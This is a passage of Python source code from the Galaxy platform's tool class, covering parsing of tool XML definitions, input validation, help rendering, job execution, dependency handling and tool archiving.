extra generated config files for the tool self.__parse_config_files(tool_source) # Action action = tool_source.parse_action_module() if action is None: self.tool_action = self.default_tool_action() else: module, cls = action mod = __import__(module, globals(), locals(), [cls]) self.tool_action = getattr(mod, cls)() if getattr(self.tool_action, "requires_js_runtime", False): try: expressions.find_engine(self.app.config) except Exception: message = REQUIRES_JS_RUNTIME_MESSAGE % self.tool_id or self.tool_uuid raise Exception(message) # Tests self.__parse_tests(tool_source) # Requirements (dependencies) requirements, containers = tool_source.parse_requirements_and_containers() self.requirements = requirements self.containers = containers required_files = tool_source.parse_required_files() if required_files is None: old_id = self.old_id if old_id in IMPLICITLY_REQUIRED_TOOL_FILES: lineage_requirement = IMPLICITLY_REQUIRED_TOOL_FILES[old_id] lineage_requirement_until = lineage_requirement.get("version") if lineage_requirement_until is None or self.version_object < lineage_requirement_until: required_files = RequiredFiles.from_dict(lineage_requirement["required"]) self.required_files = required_files self.citations = self._parse_citations(tool_source) ontology_data = expand_ontology_data( tool_source, self.all_ids, self.app.biotools_metadata_source, ) self.xrefs = ontology_data.xrefs self.edam_operations = ontology_data.edam_operations self.edam_topics = ontology_data.edam_topics self.__parse_trackster_conf(tool_source) # Record macro paths so we can reload a tool if any of its macro has changes self._macro_paths = tool_source.macro_paths self.ports = tool_source.parse_interactivetool() def __parse_legacy_features(self, tool_source): self.code_namespace: Dict[str, str] = {} self.hook_map: Dict[str, str] = {} self.uihints: Dict[str, str] = {} if not hasattr(tool_source, "root"): return # TODO: Move following logic into XmlToolSource. root = tool_source.root # Load any tool specific code (optional) Edit: INS 5/29/2007, # allow code files to have access to the individual tool's # "module" if it has one. Allows us to reuse code files, etc. for code_elem in root.findall("code"): for hook_elem in code_elem.findall("hook"): for key, value in hook_elem.items(): # map hook to function self.hook_map[key] = value file_name = code_elem.get("file") code_path = os.path.join(self.tool_dir, file_name) if self._allow_code_files: with open(code_path) as f: code_string = f.read() try: compiled_code = compile(code_string, code_path, "exec") exec(compiled_code, self.code_namespace) except Exception: if ( refactoring_tool and self.python_template_version and self.python_template_version.release[0] < 3 ): # Could be a code file that uses python 2 syntax translated_code = str( refactoring_tool.refactor_string(code_string, name="auto_translated_code_file") ) compiled_code = compile(translated_code, f"futurized_{code_path}", "exec") exec(compiled_code, self.code_namespace) else: raise # User interface hints uihints_elem = root.find("uihints") if uihints_elem is not None: for key, value in uihints_elem.attrib.items(): self.uihints[key] = value def __parse_tests(self, tool_source): self.__tests_source = tool_source self.__tests_populated = False def __parse_config_files(self, tool_source): self.config_files = [] if not hasattr(tool_source, "root"): return root = tool_source.root conf_parent_elem = root.find("configfiles") if conf_parent_elem is not None: inputs_elem = conf_parent_elem.find("inputs") if inputs_elem is not None: name = inputs_elem.get("name") filename = inputs_elem.get("filename", None) format = inputs_elem.get("format", "json") data_style = inputs_elem.get("data_style", "skip") content = dict(format=format, handle_files=data_style, type="inputs") self.config_files.append((name, filename, content)) file_sources_elem = conf_parent_elem.find("file_sources") if file_sources_elem is not None: name = file_sources_elem.get("name") filename = file_sources_elem.get("filename", None) content = dict(type="files") self.config_files.append((name, filename, content)) for conf_elem in conf_parent_elem.findall("configfile"): name = conf_elem.get("name") filename = conf_elem.get("filename", None) content = conf_elem.text self.config_files.append((name, filename, content)) def __parse_trackster_conf(self, tool_source): self.trackster_conf = None if not hasattr(tool_source, "root"): return # Trackster configuration. trackster_conf = tool_source.root.find("trackster_conf") if trackster_conf is not None: self.trackster_conf = TracksterConfig.parse(trackster_conf) @property def tests(self): self.assert_finalized() if not self.__tests_populated: tests_source = self.__tests_source if tests_source: try: self.__tests = parse_tests(self, tests_source) except Exception: self.__tests = None log.exception("Failed to parse tool tests for tool '%s'", self.id) else: self.__tests = None self.__tests_populated = True return self.__tests @property def _repository_dir(self): """If tool shed installed tool, the base directory of the repository installed.""" repository_base_dir = None if getattr(self, "tool_shed", None): tool_dir = Path(self.tool_dir) for repo_dir in itertools.chain([tool_dir], tool_dir.parents): if repo_dir.name == self.repository_name: return str(repo_dir) else: log.error(f"Problem finding repository dir for tool '{self.id}'") return repository_base_dir def test_data_path(self, filename): repository_dir = self._repository_dir test_data = None if repository_dir: test_data = self.__walk_test_data(dir=repository_dir, filename=filename) else: if self.tool_dir: tool_dir = self.tool_dir if isinstance(self, DataManagerTool): tool_dir = os.path.dirname(self.tool_dir) test_data = self.__walk_test_data(tool_dir, filename=filename) if not test_data: # Fallback to Galaxy test data directory for builtin tools, tools # under development, and some older ToolShed published tools that # used stock test data. test_data = self.app.test_data_resolver.get_filename(filename) return test_data def __walk_test_data(self, dir, filename): for root, dirs, _ in os.walk(dir): if ".hg" in dirs: dirs.remove(".hg") if "test-data" in dirs: test_data_dir = os.path.join(root, "test-data") result = os.path.abspath(os.path.join(test_data_dir, filename)) if not in_directory(result, test_data_dir): # Don't raise an explicit exception and reveal details about what # files are or are not on the path, simply return None and let the # API raise a 404. return None else: if os.path.exists(result): return result def tool_provided_metadata(self, job_wrapper): meta_file = os.path.join(job_wrapper.tool_working_directory, self.provided_metadata_file) return parse_tool_provided_metadata( meta_file, provided_metadata_style=self.provided_metadata_style, job_wrapper=job_wrapper ) def parse_command(self, tool_source): """ """ # Command line (template). Optional for tools that do not invoke a local program command = tool_source.parse_command() if command is not None: self.command = command.lstrip() # get rid of leading whitespace # Must pre-pend this AFTER processing the cheetah command template self.interpreter = tool_source.parse_interpreter() else: self.command = "" self.interpreter = None def parse_environment_variables(self, tool_source): return tool_source.parse_environment_variables() def parse_inputs(self, tool_source): """ Parse the "<inputs>" element and create appropriate `ToolParameter` s. This implementation supports multiple pages and grouping constructs. """ # Load parameters (optional) self.inputs = {} pages = tool_source.parse_input_pages() enctypes: Set[str] = set() if pages.inputs_defined: if hasattr(pages, "input_elem"): input_elem = pages.input_elem # Handle properties of the input form self.check_values = string_as_bool(input_elem.get("check_values", self.check_values)) self.nginx_upload = string_as_bool(input_elem.get("nginx_upload", self.nginx_upload)) self.action = input_elem.get("action", self.action) # If we have an nginx upload, save the action as a tuple instead of # a string. The actual action needs to get url_for run to add any # prefixes, and we want to avoid adding the prefix to the # nginx_upload_path. if self.nginx_upload and self.app.config.nginx_upload_path and not isinstance(self.action, tuple): if "?" in unquote_plus(self.action): raise Exception( "URL parameters in a non-default tool action can not be used " "in conjunction with nginx upload. Please convert them to " "hidden POST parameters" ) self.action = ( f"{self.app.config.nginx_upload_path}?nginx_redir=", unquote_plus(self.action), ) self.target = input_elem.get("target", self.target) self.method = input_elem.get("method", self.method) # Parse the actual parameters # Handle multiple page case for page_source in pages.page_sources: inputs = self.parse_input_elem(page_source, enctypes) display = page_source.parse_display() self.inputs_by_page.append(inputs) self.inputs.update(inputs) self.display_by_page.append(display) else: self.inputs_by_page.append(self.inputs) self.display_by_page.append(None) self.display = self.display_by_page[0] self.npages = len(self.inputs_by_page) self.last_page = len(self.inputs_by_page) - 1 self.has_multiple_pages = bool(self.last_page) # Determine the needed enctype for the form if len(enctypes) == 0: self.enctype = "application/x-www-form-urlencoded" elif len(enctypes) == 1: self.enctype = enctypes.pop() else: raise Exception(f"Conflicting required enctypes: {str(enctypes)}") # Check if the tool either has no parameters or only hidden (and # thus hardcoded) FIXME: hidden parameters aren't # parameters at all really, and should be passed in a different # way, making this check easier. template_macros = {} if hasattr(tool_source, "root"): template_macros = template_macro_params(tool_source.root) self.template_macro_params = template_macros for param in self.inputs.values(): if not isinstance(param, (HiddenToolParameter, BaseURLToolParameter)): self.input_required = True break def parse_help(self, tool_source): """ Parse the help text for the tool. Formatted in reStructuredText, but stored as Mako to allow for dynamic image paths. This implementation supports multiple pages. """ # TODO: Allow raw HTML or an external link. self.__help = HELP_UNINITIALIZED self.__help_by_page = HELP_UNINITIALIZED self.__help_source = tool_source def parse_outputs(self, tool_source): """ Parse <outputs> elements and fill in self.outputs (keyed by name) """ self.outputs, self.output_collections = tool_source.parse_outputs(self) # TODO: Include the tool's name in any parsing warnings. def parse_stdio(self, tool_source): """ Parse <stdio> element(s) and fill in self.return_codes, self.stderr_rules, and self.stdout_rules. Return codes have a range and an error type (fault or warning). Stderr and stdout rules have a regular expression and an error level (fault or warning). """ exit_codes, regexes = tool_source.parse_stdio() self.stdio_exit_codes = exit_codes self.stdio_regexes = regexes def _parse_citations(self, tool_source): # TODO: Move following logic into ToolSource abstraction. if not hasattr(tool_source, "root"): return [] root = tool_source.root citations: List[str] = [] citations_elem = root.find("citations") if citations_elem is None: return citations for citation_elem in citations_elem: if citation_elem.tag != "citation": pass if hasattr(self.app, "citations_manager"): citation = self.app.citations_manager.parse_citation(citation_elem) if citation: citations.append(citation) return citations def parse_input_elem(self, page_source, enctypes, context=None): """ Parse a parent element whose children are inputs -- these could be groups (repeat, conditional) or param elements. Groups will be parsed recursively. """ rval: Dict[str, Any] = {} context = ExpressionContext(rval, context) for input_source in page_source.parse_input_sources(): # Repeat group input_type = input_source.parse_input_type() if input_type == "repeat": group_r = Repeat() group_r.name = input_source.get("name") group_r.title = input_source.get("title") group_r.help = input_source.get("help", None) page_source = input_source.parse_nested_inputs_source() group_r.inputs = self.parse_input_elem(page_source, enctypes, context) group_r.default = int(input_source.get("default", 0)) group_r.min = int(input_source.get("min", 0)) # Use float instead of int so that math.inf can be used for no max group_r.max = float(input_source.get("max", math.inf)) assert group_r.min <= group_r.max, ValueError( f"Tool with id '{self.id}': min repeat count must be less-than-or-equal to the max." ) # Force default to be within min-max range group_r.default = cast(int, min(max(group_r.default, group_r.min), group_r.max)) rval[group_r.name] = group_r elif input_type == "conditional": group_c = Conditional() group_c.name = input_source.get("name") group_c.value_ref = input_source.get("value_ref", None) group_c.value_ref_in_group = input_source.get_bool("value_ref_in_group", True) value_from = input_source.get("value_from", None) if value_from: value_from = value_from.split(":") temp_value_from = locals().get(value_from[0]) group_c.test_param = rval[group_c.value_ref] group_c.test_param.refresh_on_change = True for attr in value_from[1].split("."): temp_value_from = getattr(temp_value_from, attr) group_c.value_from = temp_value_from # type: ignore[assignment] # ^^ due to https://github.com/python/mypy/issues/2427 assert group_c.value_from for case_value, case_inputs in group_c.value_from(context, group_c, self).items(): case = ConditionalWhen() case.value = case_value if case_inputs: page_source = XmlPageSource(XML(f"<when>{case_inputs}</when>")) case.inputs = self.parse_input_elem(page_source, enctypes, context) else: case.inputs = {} group_c.cases.append(case) else: # Should have one child "input" which determines the case test_param_input_source = input_source.parse_test_input_source() group_c.test_param = self.parse_param_elem(test_param_input_source, enctypes, context) if group_c.test_param.optional: log.debug( f"Tool with id '{self.id}': declares a conditional test parameter as optional, this is invalid and will be ignored." ) group_c.test_param.optional = False possible_cases = list( group_c.test_param.legal_values ) # store possible cases, undefined whens will have no inputs # Must refresh when test_param changes group_c.test_param.refresh_on_change = True # And a set of possible cases for (value, case_inputs_source) in input_source.parse_when_input_sources(): case = ConditionalWhen() case.value = value case.inputs = self.parse_input_elem(case_inputs_source, enctypes, context) group_c.cases.append(case) try: possible_cases.remove(case.value) except Exception: log.debug( "Tool with id '%s': a when tag has been defined for '%s (%s) --> %s', but does not appear to be selectable." % ( self.id, group_c.name, group_c.test_param.name, case.value, ) ) for unspecified_case in possible_cases: log.warning( "Tool with id '%s': a when tag has not been defined for '%s (%s) --> %s', assuming empty inputs." % ( self.id, group_c.name, group_c.test_param.name, unspecified_case, ) ) case = ConditionalWhen() case.value = unspecified_case case.inputs = {} group_c.cases.append(case) rval[group_c.name] = group_c elif input_type == "section": group_s = Section() group_s.name = input_source.get("name") group_s.title = input_source.get("title") group_s.help = input_source.get("help", None) group_s.expanded = input_source.get_bool("expanded", False) page_source = input_source.parse_nested_inputs_source() group_s.inputs = self.parse_input_elem(page_source, enctypes, context) rval[group_s.name] = group_s elif input_type == "upload_dataset": elem = input_source.elem() group_u = UploadDataset() group_u.name = elem.get("name") group_u.title = elem.get("title") group_u.file_type_name = elem.get("file_type_name", group_u.file_type_name) group_u.default_file_type = elem.get("default_file_type", group_u.default_file_type) group_u.metadata_ref = elem.get("metadata_ref", group_u.metadata_ref) try: rval[group_u.file_type_name].refresh_on_change = True except KeyError: pass group_page_source = XmlPageSource(elem) group_u.inputs = self.parse_input_elem(group_page_source, enctypes, context) rval[group_u.name] = group_u elif input_type == "param": param = self.parse_param_elem(input_source, enctypes, context) rval[param.name] = param if hasattr(param, "data_ref"): param.ref_input = context[param.data_ref] self.input_params.append(param) return rval def parse_param_elem(self, input_source, enctypes, context): """ Parse a single "<param>" element and return a ToolParameter instance. Also, if the parameter has a 'required_enctype' add it to the set enctypes. """ param = ToolParameter.build(self, input_source) param_enctype = param.get_required_enctype() if param_enctype: enctypes.add(param_enctype) # If parameter depends on any other paramters, we must refresh the # form when it changes for name in param.get_dependencies(): # Let it throw exception, but give some hint what the problem might be if name not in context: log.error(f"Tool with id '{self.id}': Could not find dependency '{name}' of parameter '{param.name}'") context[name].refresh_on_change = True return param def populate_resource_parameters(self, tool_source): root = getattr(tool_source, "root", None) if ( root is not None and hasattr(self.app, "job_config") and hasattr(self.app.job_config, "get_tool_resource_xml") ): resource_xml = self.app.job_config.get_tool_resource_xml(root.get("id", "").lower(), self.tool_type) if resource_xml is not None: inputs = root.find("inputs") if inputs is None: inputs = parse_xml_string("<inputs/>") root.append(inputs) inputs.append(resource_xml) def populate_tool_shed_info(self, tool_shed_repository): if tool_shed_repository: self.tool_shed = tool_shed_repository.tool_shed self.repository_name = tool_shed_repository.name self.repository_owner = tool_shed_repository.owner self.changeset_revision = tool_shed_repository.changeset_revision self.installed_changeset_revision = tool_shed_repository.installed_changeset_revision self.sharable_url = get_tool_shed_repository_url( self.app, self.tool_shed, self.repository_owner, self.repository_name ) @property def biotools_reference(self) -> Optional[str]: """Return a bio.tools ID if external reference to it is found. If multiple bio.tools references are found, return just the first one. """ return biotools_reference(self.xrefs) @property def help(self): if self.__help is HELP_UNINITIALIZED: self.__ensure_help() return self.__help @property def help_by_page(self): if self.__help_by_page is HELP_UNINITIALIZED: self.__ensure_help() return self.__help_by_page @property def raw_help(self): # may return rst (or Markdown in the future) tool_source = self.__help_source help_text = tool_source.parse_help() return help_text def __ensure_help(self): with HELP_UNINITIALIZED: if self.__help is HELP_UNINITIALIZED: self.__inititalize_help() def __inititalize_help(self): tool_source = self.__help_source self.__help = None __help_by_page = [] help_footer = "" help_text = tool_source.parse_help() if help_text is not None: try: if help_text.find(".. image:: ") >= 0 and (self.tool_shed_repository or self.repository_id): help_text = set_image_paths( self.app, help_text, encoded_repository_id=self.repository_id, tool_shed_repository=self.tool_shed_repository, tool_id=self.old_id, tool_version=self.version, ) except Exception: log.exception( "Exception in parse_help, so images may not be properly displayed for tool with id '%s'", self.id ) try: self.__help = Template( rst_to_html(help_text), input_encoding="utf-8", default_filters=["decode.utf8"], encoding_errors="replace", ) except Exception: log.exception("Exception while parsing help for tool with id '%s'", self.id) # Handle deprecated multi-page help text in XML case. if hasattr(tool_source, "root"): help_elem = tool_source.root.find("help") help_header = help_text help_pages = help_elem.findall("page") # Multiple help page case if help_pages: for help_page in help_pages: __help_by_page.append(help_page.text) help_footer = help_footer + help_page.tail # Each page has to rendered all-together because of backreferences allowed by rst try: __help_by_page = [ Template( rst_to_html(help_header + x + help_footer), input_encoding="utf-8", default_filters=["decode.utf8"], encoding_errors="replace", ) for x in __help_by_page ] except Exception: log.exception("Exception while parsing multi-page help for tool with id '%s'", self.id) # Pad out help pages to match npages ... could this be done better? while len(__help_by_page) < self.npages: __help_by_page.append(self.__help) self.__help_by_page = __help_by_page def find_output_def(self, name): # name is JobToOutputDatasetAssociation name. # TODO: to defensive, just throw IndexError and catch somewhere # up that stack. if ToolOutputCollectionPart.is_named_collection_part_name(name): collection_name, part = ToolOutputCollectionPart.split_output_name(name) collection_def = self.output_collections.get(collection_name, None) if not collection_def: return None return collection_def.outputs.get(part, None) else: return self.outputs.get(name, None) @property def is_workflow_compatible(self): is_workflow_compatible = self._is_workflow_compatible if is_workflow_compatible is None: is_workflow_compatible = self.check_workflow_compatible(self.tool_source) if self.finalized: self._is_workflow_compatible = is_workflow_compatible return is_workflow_compatible def check_workflow_compatible(self, tool_source): """ Determine if a tool can be used in workflows. External tools and the upload tool are currently not supported by workflows. """ # Multiple page tools are not supported -- we're eliminating most # of these anyway if self.finalized and self.has_multiple_pages: return False # This is probably the best bet for detecting external web tools # right now if self.tool_type.startswith("data_source"): return False if hasattr(tool_source, "root"): root = tool_source.root if not string_as_bool(root.get("workflow_compatible", "True")): return False # TODO: Anyway to capture tools that dynamically change their own # outputs? return True def new_state(self, trans): """ Create a new `DefaultToolState` for this tool. It will be initialized with default values for inputs. Grouping elements are filled in recursively. """ state = DefaultToolState() state.initialize(trans, self) return state def get_param(self, key): """ Returns the parameter named `key` or None if there is no such parameter. """ return self.inputs.get(key, None) def get_hook(self, name): """ Returns an object from the code file referenced by `code_namespace` (this will normally be a callable object) """ if self.code_namespace: # Try to look up hook in self.hook_map, otherwise resort to default if name in self.hook_map and self.hook_map[name] in self.code_namespace: return self.code_namespace[self.hook_map[name]] elif name in self.code_namespace: return self.code_namespace[name] return None def visit_inputs(self, values, callback): """ Call the function `callback` on each parameter of this tool. Visits grouping parameters recursively and constructs unique prefixes for each nested set of The callback method is then called as: `callback( level_prefix, parameter, parameter_value )` """ # HACK: Yet another hack around check_values -- WHY HERE? if self.check_values: visit_input_values(self.inputs, values, callback) def expand_incoming(self, trans, incoming, request_context, input_format="legacy"): rerun_remap_job_id = None if "rerun_remap_job_id" in incoming: try: rerun_remap_job_id = trans.app.security.decode_id(incoming["rerun_remap_job_id"]) except Exception as exception: log.error(str(exception)) raise exceptions.MessageException( "Failure executing tool with id '%s' (attempting to rerun invalid job).", self.id ) set_dataset_matcher_factory(request_context, self) # Fixed set of input parameters may correspond to any number of jobs. # Expand these out to individual parameters for given jobs (tool executions). expanded_incomings, collection_info = expand_meta_parameters(trans, self, incoming) # Remapping a single job to many jobs doesn't make sense, so disable # remap if multi-runs of tools are being used. if rerun_remap_job_id and len(expanded_incomings) > 1: raise exceptions.MessageException( "Failure executing tool with id '%s' (cannot create multiple jobs when remapping existing job).", self.id, ) # Process incoming data validation_timer = self.app.execution_timer_factory.get_timer( "internals.galaxy.tools.validation", "Validated and populated state for tool request", ) all_errors = [] all_params = [] for expanded_incoming in expanded_incomings: params = {} errors: Dict[str, str] = {} if self.input_translator: self.input_translator.translate(expanded_incoming) if not self.check_values: # If `self.check_values` is false we don't do any checking or # processing on input This is used to pass raw values # through to/from external sites. params = expanded_incoming else: # Update state for all inputs on the current page taking new # values from `incoming`. populate_state( request_context, self.inputs, expanded_incoming, params, errors, simple_errors=False, input_format=input_format, ) # If the tool provides a `validate_input` hook, call it. validate_input = self.get_hook("validate_input") if validate_input: validate_input(request_context, errors, params, self.inputs) all_errors.append(errors) all_params.append(params) unset_dataset_matcher_factory(request_context) log.info(validation_timer) return all_params, all_errors, rerun_remap_job_id, collection_info def handle_input(self, trans, incoming, history=None, use_cached_job=False, input_format="legacy"): """ Process incoming parameters for this tool from the dict `incoming`, update the tool state (or create if none existed), and either return to the form or execute the tool (only if 'execute' was clicked and there were no errors). """ request_context = proxy_work_context_for_history(trans, history=history) all_params, all_errors, rerun_remap_job_id, collection_info = self.expand_incoming( trans=trans, incoming=incoming, request_context=request_context, input_format=input_format ) # If there were errors, we stay on the same page and display them if any(all_errors): # simple param_key -> message string for tool form. err_data = {key: unicodify(value) for d in all_errors for (key, value) in d.items()} param_errors = {} for d in all_errors: for key, value in d.items(): if hasattr(value, "to_dict"): value_obj = value.to_dict() else: value_obj = {"message": unicodify(value)} param_errors[key] = value_obj raise exceptions.RequestParameterInvalidException( ", ".join(msg for msg in err_data.values()), err_data=err_data, param_errors=param_errors ) else: mapping_params = MappingParameters(incoming, all_params) completed_jobs = {} for i, param in enumerate(all_params): if use_cached_job: completed_jobs[i] = self.job_search.by_tool_input( trans=trans, tool_id=self.id, tool_version=self.version, param=param, param_dump=self.params_to_strings(param, self.app, nested=True), job_state=None, ) else: completed_jobs[i] = None execution_tracker = execute_job( trans, self, mapping_params, history=request_context.history, rerun_remap_job_id=rerun_remap_job_id, collection_info=collection_info, completed_jobs=completed_jobs, ) # Raise an exception if there were jobs to execute and none of them were submitted, # if at least one is submitted or there are no jobs to execute - return aggregate # information including per-job errors. Arguably we should just always return the # aggregate information - we just haven't done that historically. raise_execution_exception = not execution_tracker.successful_jobs and len(all_params) > 0 if raise_execution_exception: raise exceptions.MessageException(execution_tracker.execution_errors[0]) return dict( out_data=execution_tracker.output_datasets, num_jobs=len(execution_tracker.successful_jobs), job_errors=execution_tracker.execution_errors, jobs=execution_tracker.successful_jobs, output_collections=execution_tracker.output_collections, implicit_collections=execution_tracker.implicit_collections, ) def handle_single_execution( self, trans, rerun_remap_job_id, execution_slice, history, execution_cache=None, completed_job=None, collection_info=None, job_callback=None, flush_job=True, ): """ Return a pair with whether execution is successful as well as either resulting output data or an error message indicating the problem. """ try: rval = self.execute( trans, incoming=execution_slice.param_combination, history=history, rerun_remap_job_id=rerun_remap_job_id, execution_cache=execution_cache, dataset_collection_elements=execution_slice.dataset_collection_elements, completed_job=completed_job, collection_info=collection_info, job_callback=job_callback, flush_job=flush_job, ) job = rval[0] out_data = rval[1] if len(rval) > 2: execution_slice.history = rval[2] except (webob.exc.HTTPFound, exceptions.MessageException) as e: # if it's a webob redirect exception, pass it up the stack raise e except ToolInputsNotReadyException as e: return False, e except Exception as e: log.exception("Exception caught while attempting to execute tool with id '%s':", self.id) message = f"Error executing tool with id '{self.id}': {unicodify(e)}" return False, message if isinstance(out_data, dict): return job, list(out_data.items()) else: if isinstance(out_data, str): message = out_data else: message = f"Failure executing tool with id '{self.id}' (invalid data returned from tool execution)" return False, message def find_fieldstorage(self, x): if isinstance(x, cgi_FieldStorage): raise InterruptedUpload(None) elif isinstance(x, dict): [self.find_fieldstorage(y) for y in x.values()] elif isinstance(x, list): [self.find_fieldstorage(y) for y in x] @property def params_with_missing_data_table_entry(self): """ Return all parameters that are dynamically generated select lists whose options require an entry not currently in the tool_data_table_conf.xml file. """ params = [] for input_param in self.input_params: if isinstance(input_param, SelectToolParameter) and input_param.is_dynamic: options = input_param.options if options and options.missing_tool_data_table_name and input_param not in params: params.append(input_param) return params @property def params_with_missing_index_file(self): """ Return all parameters that are dynamically generated select lists whose options refer to a missing .loc file. """ params = [] for input_param in self.input_params: if isinstance(input_param, SelectToolParameter) and input_param.is_dynamic: options = input_param.options if ( options and options.tool_data_table and options.tool_data_table.missing_index_file and input_param not in params ): params.append(input_param) return params def get_static_param_values(self, trans): """ Returns a map of parameter names and values if the tool does not require any user input. Will raise an exception if any parameter does require input. """ args = dict() for key, param in self.inputs.items(): # BaseURLToolParameter is now a subclass of HiddenToolParameter, so # we must check if param is a BaseURLToolParameter first if isinstance(param, BaseURLToolParameter): args[key] = param.get_initial_value(trans, None) elif isinstance(param, HiddenToolParameter): args[key] = model.User.expand_user_properties(trans.user, param.value) else: args[key] = param.get_initial_value(trans, None) return args def execute(self, trans, incoming=None, set_output_hid=True, history=None, **kwargs): """ Execute the tool using parameter values in `incoming`. This just dispatches to the `ToolAction` instance specified by `self.tool_action`. In general this will create a `Job` that when run will build the tool's outputs, e.g. `DefaultToolAction`. """ if incoming is None: incoming = {} try: return self.tool_action.execute( self, trans, incoming=incoming, set_output_hid=set_output_hid, history=history, **kwargs ) except exceptions.ToolExecutionError as exc: job = exc.job job_id = "unknown" if job is not None: job.mark_failed(info=exc.err_msg, blurb=exc.err_code.default_error_message) job_id = job.id log.error("Tool execution failed for job: %s", job_id) raise def params_to_strings(self, params, app, nested=False): return params_to_strings(self.inputs, params, app, nested) def params_from_strings(self, params, app, ignore_errors=False): return params_from_strings(self.inputs, params, app, ignore_errors) def check_and_update_param_values(self, values, trans, update_values=True, workflow_building_mode=False): """ Check that all parameters have values, and fill in with default values where necessary. This could be called after loading values from a database in case new parameters have been added. """ messages = {} request_context = proxy_work_context_for_history(trans, workflow_building_mode=workflow_building_mode) def validate_inputs(input, value, error, parent, context, prefixed_name, prefixed_label, **kwargs): if not error: value, error = check_param(request_context, input, value, context) if error: if update_values and not hasattr(input, "data_ref"): try: previous_value = value value = input.get_initial_value(request_context, context) if not prefixed_name.startswith("__"): messages[prefixed_name] = ( error if previous_value == value else f"{error} Using default: '{value}'." ) parent[input.name] = value except Exception: messages[prefixed_name] = "Attempt to replace invalid value for '%s' failed." % (prefixed_label) else: messages[prefixed_name] = error visit_input_values(self.inputs, values, validate_inputs) return messages def build_dependency_cache(self, **kwds): if isinstance(self.app.toolbox.dependency_manager, CachedDependencyManager): self.app.toolbox.dependency_manager.build_cache( requirements=self.requirements, installed_tool_dependencies=self.installed_tool_dependencies, tool_dir=self.tool_dir, job_directory=None, metadata=False, tool_instance=self, **kwds, ) def build_dependency_shell_commands(self, job_directory=None, metadata=False): """ Return a list of commands to be run to populate the current environment to include this tools requirements. """ return self.app.toolbox.dependency_manager.dependency_shell_commands( requirements=self.requirements, installed_tool_dependencies=self.installed_tool_dependencies, tool_dir=self.tool_dir, job_directory=job_directory, preserve_python_environment=self.requires_galaxy_python_environment, metadata=metadata, tool_instance=self, ) @property def installed_tool_dependencies(self): if self.tool_shed_repository: installed_tool_dependencies = self.tool_shed_repository.tool_dependencies_installed_or_in_error else: installed_tool_dependencies = None return installed_tool_dependencies @property def tool_requirements(self): """ Return all requiremens of type package """ return self.requirements.packages @property def tool_requirements_status(self): """ Return a list of dictionaries for all tool dependencies with their associated status """ return self._view.get_requirements_status({self.id: self.tool_requirements}, self.installed_tool_dependencies) @property def output_discover_patterns(self): # patterns to collect for remote job execution patterns = [] for output in self.outputs.values(): patterns.extend(output.output_discover_patterns) return patterns def build_redirect_url_params(self, param_dict): """ Substitute parameter values into self.redirect_url_params """ if not self.redirect_url_params: return redirect_url_params = None # Substituting parameter values into the url params redirect_url_params = fill_template(self.redirect_url_params, context=param_dict) # Remove newlines redirect_url_params = redirect_url_params.replace("\n", " ").replace("\r", " ") return redirect_url_params def parse_redirect_url(self, data, param_dict): """ Parse the REDIRECT_URL tool param. Tools that send data to an external application via a redirect must include the following 3 tool params: 1) REDIRECT_URL - the url to which the data is being sent 2) DATA_URL - the url to which the receiving application will send an http post to retrieve the Galaxy data 3) GALAXY_URL - the url to which the external application may post data as a response """ redirect_url = param_dict.get("REDIRECT_URL") redirect_url_params = self.build_redirect_url_params(param_dict) # Add the parameters to the redirect url. We're splitting the param # string on '**^**' because the self.parse() method replaced white # space with that separator. params = redirect_url_params.split("**^**") rup_dict = {} for param in params: p_list = param.split("=") p_name = p_list[0] p_val = p_list[1] rup_dict[p_name] = p_val DATA_URL = param_dict.get("DATA_URL", None) assert DATA_URL is not None, "DATA_URL parameter missing in tool config." DATA_URL += f"/{str(data.id)}/display" redirect_url += f"?DATA_URL={DATA_URL}" # Add the redirect_url_params to redirect_url for p_name in rup_dict: redirect_url += f"&{p_name}={rup_dict[p_name]}" # Add the current user email to redirect_url if data.history.user: USERNAME = str(data.history.user.email) else: USERNAME = "Anonymous" redirect_url += f"&USERNAME={USERNAME}" return redirect_url def call_hook(self, hook_name, *args, **kwargs): """ Call the custom code hook function identified by 'hook_name' if any, and return the results """ try: code = self.get_hook(hook_name) if code: return code(*args, **kwargs) except Exception as e: original_message = "" if len(e.args): original_message = e.args[0] e.args = (f"Error in '{self.name}' hook '{hook_name}', original message: {original_message}",) raise def exec_before_job(self, app, inp_data, out_data, param_dict=None): pass def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): pass def job_failed(self, job_wrapper, message, exception=False): """ Called when a job has failed """ def discover_outputs( self, out_data, out_collections, tool_provided_metadata, tool_working_directory, job, input_ext, input_dbkey, inp_data=None, final_job_state="ok", ): """ Find any additional datasets generated by a tool and attach (for cases where number of outputs is not known in advance). """ # given the job_execution import is the only one, probably makes sense to refactor this out # into job_wrapper. tool = self permission_provider = output_collect.PermissionProvider(inp_data, tool.app.security_agent, job) metadata_source_provider = output_collect.MetadataSourceProvider(inp_data) job_context = output_collect.JobContext( tool, tool_provided_metadata, job, tool_working_directory, permission_provider, metadata_source_provider, input_dbkey, object_store=tool.app.object_store, final_job_state=final_job_state, flush_per_n_datasets=tool.app.config.flush_per_n_datasets, max_discovered_files=tool.app.config.max_discovered_files, ) collected = output_collect.collect_primary_datasets( job_context, out_data, input_ext, ) output_collect.collect_dynamic_outputs( job_context, out_collections, ) # Return value only used in unit tests. Probably should be returning number of collected # bytes instead? return collected def to_archive(self): tool = self tarball_files = [] temp_files = [] with open(os.path.abspath(tool.config_file)) as fh1: tool_xml = fh1.read() # Retrieve tool help images and rewrite the tool's xml into a temporary file with the path # modified to be relative to the repository root. image_found = False if tool.help is not None: tool_help = tool.help._source # Check each line of the rendered tool help for an image tag that points to a location under static/ for help_line in tool_help.split("\n"): image_regex = re.compile(r'img alt="[^"]+" src="\${static_path}/([^"]+)"') matches = re.search(image_regex, help_line) if matches is not None: tool_help_image = matches.group(1) tarball_path = tool_help_image filesystem_path = os.path.abspath(os.path.join(self.app.config.root, "static", tool_help_image)) if os.path.exists(filesystem_path): tarball_files.append((filesystem_path, tarball_path)) image_found = True tool_xml = tool_xml.replace("${static_path}/%s" % tarball_path, tarball_path) # If one or more tool help images were found, add the modified tool XML to the tarball instead of the original. if image_found: with tempfile.NamedTemporaryFile(mode="w", suffix=".xml", delete=False) as fh2: new_tool_config = fh2.name fh2.write(tool_xml) tool_tup = (new_tool_config, os.path.split(tool.config_file)[-1]) temp_files.append(new_tool_config) else: tool_tup = (os.path.abspath(tool.config_file), os.path.split(tool.config_file)[-1]) tarball_files.append(tool_tup) # TODO: This feels hacky. tool_command = tool.command.strip().split()[0] tool_path = os.path.dirname(os.path.abspath(tool.config_file)) # 